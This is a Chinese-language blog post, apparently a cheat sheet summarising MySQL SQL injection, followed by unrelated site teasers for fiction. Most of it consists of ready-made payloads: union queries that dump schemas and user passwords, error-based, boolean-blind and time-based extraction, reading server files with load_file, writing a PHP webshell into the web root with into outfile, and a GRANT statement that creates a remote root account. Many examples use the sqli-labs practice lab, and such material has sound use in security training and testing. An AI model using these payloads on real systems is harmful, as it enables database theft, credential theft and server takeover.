MySQL注入總結

目錄:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql報錯注入

0x03 mysql一般盲注

0x04 mysql時間盲注

0x05 mysql其他注入技巧

0x06 mysql數據庫版本特性

正文:

0x00 mysql一般注入(select)

1.注釋符

#
/*
--

2.過濾空格注入

使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多條數據顯示

concat()
group_concat()
concat_ws()

4.相關函數

system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入語句
判斷注入類型

  1. 加單引號’
    比如:從報錯信息判斷,令id=-1’,報錯:
  • (為什么是id = -1不是1,因為源碼有limit 0,1限制只輸出第一條數據,若是1,則輸出id=1的數據,我們想要的數據就顯示不了,所以用-1就只輸出我們要的數據)

  • 或者用id =1 and 1=2 來使語句為假。


  • 將near和at之間字符串的左右引號去掉,得到'-1'') LIMIT 0,1。-1的右邊多了一個',后面還有個括號,代碼應該是id=('$id')

  • 則需要閉合(‘ ’)

  1. 加雙引號”
    單引號沒反應,可能是由雙引號閉合了,單引號在雙引號內是合法的,此時加雙引號“測試。

猜字段數

order by n/*

查看mysql基本信息

  • and 1=2 的作用是,令前面id=1 and 1=2 為假,不輸出內容,這樣就可以輸出我們后面union 語句的內容了。
    and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查詢數據庫

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查詢表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數據庫的16進制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=數據庫的16進制編碼/*

查詢字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼/*

查詢數據

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 數據庫.表/*

and 1=2 union select 1,username,password from users limit 0,1 %23

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- -

判斷是否具有讀寫權限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql讀取寫入文件

必備條件:

  1. 讀:file權限必備

  2. 寫:

  • 絕對路徑
  • union使用
  • 可以使用''

-------------------------讀----------------------

mysql3.x讀取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x讀取方法

除上述方法還可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x讀取方法

上述兩種都可以


load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------寫--------------------------

into outfile寫文件

union select 1,2,3,char(這里寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql一般注入(insert、update)

mysql一般請求mysql_query不支持多語句執行,mysqli可以。

insert注入多使用報錯注入!

1. 如果可以直接插入管理員可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2. 如果可以插入一些數據,這些數據會在網頁中顯示,我們可以結合xxs和csrf來獲取cookies或getshell

update注入同上

0x02 mysql報錯注入

1. [sqli-lab-less5(get)/13(post):正常情況不輸出任何數據,所以要用報錯注入的方法]
   and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) %23 
2. and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

語句處填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

3. and+1=(select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)--

4.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);

5.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql基于布爾的盲注

  • 盲注:沒有返回錯誤信息,用盲注
  • 基于布爾型:
    or 1=1
    and 1=1

使用ascii
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<115 ) -- +

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正則表達式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql基于時間的盲注

  • 基于時間:
    and sleep(5) -- -

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql其他注入技巧

1 outfile 注入[sqli-labs-less-7]

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+

2 post 方法(and 改成or)

2.1[sqli-labs-less-11]
  1. 單引號測試


  • 知道是單引號類型,抓包看post參數


    抓包知道參數是uname,passwd和submit
  1. 測試 ‘ or 1=1 -- -


    測試登陸成功
  2. payload

  • 判斷字段數
    uname=123' order by 2-- - &passwd=123&submit=Submit
  • 爆數據庫
    uname=123' union select database(),version() -- - &passwd=123&submit=Submit
  • 爆表
    uname=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database( ) -- - &passwd=123&submit=Submit
  • 爆字段
    uname=123' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- - &passwd=123&submit=Submit
  • 爆數據
    uname=123' union select username,password from security.users limit 0,1-- - &passwd=123&submit=Submit
2.2 post-報錯注入 [sqli-labs-less-13]
  • 正常不顯示任何數據--報錯注入
  1. 爆庫
    uname=123') or (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  2. 爆表
    uname=123') or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  3. 爆字段
    uname=123') or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
    4.爆數據
    uname=123') or (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit

0x06 mysql數據庫版本特性

1. mysql5.0以后 information.schema庫出現

2. mysql5.1以后 udf 導入xx\lib\plugin\ 目錄下

3. mysql5.x以后 system執行命令

0x07 聲明

原文地址:http://lanu.sinaapp.com/PHP_study/108.html

報錯注入:http://www.waitalone.cn/mysql-error-based-injection.html

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,936評論 6 535
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,744評論 3 421
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 176,879評論 0 381
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,181評論 1 315
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,935評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,325評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,384評論 3 443
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,534評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,084評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,892評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,067評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,623評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,322評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,735評論 0 27
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,990評論 1 289
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,800評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,084評論 2 375

推薦閱讀更多精彩內容